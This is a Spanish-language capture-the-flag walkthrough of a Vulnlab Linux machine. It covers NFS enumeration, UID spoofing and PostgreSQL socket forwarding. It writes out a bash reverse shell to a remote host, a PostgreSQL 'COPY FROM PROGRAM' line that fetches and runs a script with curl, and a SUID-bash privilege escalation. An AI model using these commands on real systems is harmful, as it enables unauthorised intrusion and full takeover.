Content
NMAP
Comenzamos el reconocimiento de servicios y puertos a través de NMAP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_ 256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 43504/udp6 mountd
| 100005 1,2,3 47327/tcp mountd
| 100005 1,2,3 50322/udp mountd
|_ 100005 1,2,3 50865/tcp6 mountd
2049/tcp open nfs 3-4 (RPC #100003)
32815/tcp open status 1 (RPC #100024)
42617/tcp open nlockmgr 1-4 (RPC #100021)
47327/tcp open mountd 1-3 (RPC #100005)
56263/tcp open mountd 1-3 (RPC #100005)
58429/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux
Port 2049/tcp – NFS
El puerto 2049 sabemos que es utilizado por el servicio de Network File System (NFS).
NFS es un protocolo de sistema de archivos distribuido que permite a los usuarios acceder y
compartir archivos entre sistemas en una red..
Se puede usar el comando showmount para obtener info de la lista de recursos:
showmount -e 10.10.127.69
Observo 2 carpetas compartidas. /var/backups y /home, lo que procedo a montarlas:
sudo mount -t nfs 10.10.121.184: . -o nolock
Una vez montadas trato de enumerar y noto que para acceder a /home/service/ no tengo los
permisos suficientes, veo que puede hacerlo el usuario 1337, ya que es el owner, por ende
procedo a crearlo localmente y le asigno el mismo UID.
sudo useradd -u 1337 1337 --badname
sudo passwd 1337
su 1337
Una vez soy 1337 voy a poder acceder a la carpeta service.
Hay algunos archivos interesantes para analizar y que dan algunas pistas por donde encarar la situación.
El archivo .bash_history luce del siguiente modo:
El archivo .psql_history:
Se destaca el user service y un hash aaabf0d39951f3e6c3e8a7911df524c2
Las cuales si lo verificamos en crackstation podemos ver que el hash pertenece a la contraseña
“service“.
Al intentar loguear via SSH con las credenciales válidas el sistema automáticamente nos cierra la
conexión.
Luego de un rato de seguir enumerando, chequeo la info que me dan del user al principio de la máquina
Y luego de un poco de Google, recuerdo que el .bash_history nos mostraba la linea siguiente:
file /var/run/postgresql/.s.PGSQL.5432
Ese path en específico es un archivo de socket Unix que se utiliza para la comunicación entre procesos
del sistema. En este caso específico para la comunicación entre aplicaciones y el servidor de la base de datos PostgreSQL.
Teniendo esto mas claro, procedo a crear un PortForwarding con SSH pasandole las credenciales que
tenemos y seteando correctamente el socket remoto para conectarnos con el cliente postgress.
ssh -N -L /tmp/.s.PGSQL.5433:/var/run/postgresql/.s.PGSQL.5432 [email protected]
Y luego conectamos con Postgress:
psql -h /tmp -U postgres -p 5433
USER: Postgress
Con \list puedo listar todas las base de datos:
Luego de verificar las base de datos, veo que lo único que obtengo son el hash del user service que ya
tenemos, entonces me pongo a investigar si es posible que creemos una revshell como postgres user.
Verifico que tengo Command Execution y realizó lo siguiente para obtener una revshell:
Revshell File:
#!/bin/bash
bash -i >& /dev/tcp/10.8.0.147/443 0>&1
Postgres-CLI
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl http://10.8.0.147/s | bash';
SELECT * FROM cmd_exec;
Finalmente con un netcat a la escucha en el puerto 443 para obtener revshell:
sudo rlwrap nc -lnvvp 443
Una vez tengo revshell y luego de enumerar un poco, me creo una conexión mas estable con SSH y
mantengo persistencia.
ROOT
Procedo a subir el PSPY a /tmp y luego lo ejecuto.
Veo que ejecuta un archivo en /usr/bin/backup y lo hace como UID=0 (root). Verificando el código observo lo siguiente:
/USR/BIN/BACKUP
#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi
Lo interesante de este script es que todo lo que creemos dentro de este path /var/lib/postgresql/14/main se hará backup en /opt/backups/current/ y será realizado por ROOT
Creando suid bash para PrivEsc
cp /bin/bash pwn
chmod u+s pwn
Si ahora voy a /opt/backups/current vemos que lo backupea como ROOT:
Ahora solo resta Rootear 😀
./pwn -p
Y así finalizamos con esta máquina de Vulnlab. Muchas gracias por tomarte el tiempo de leer!.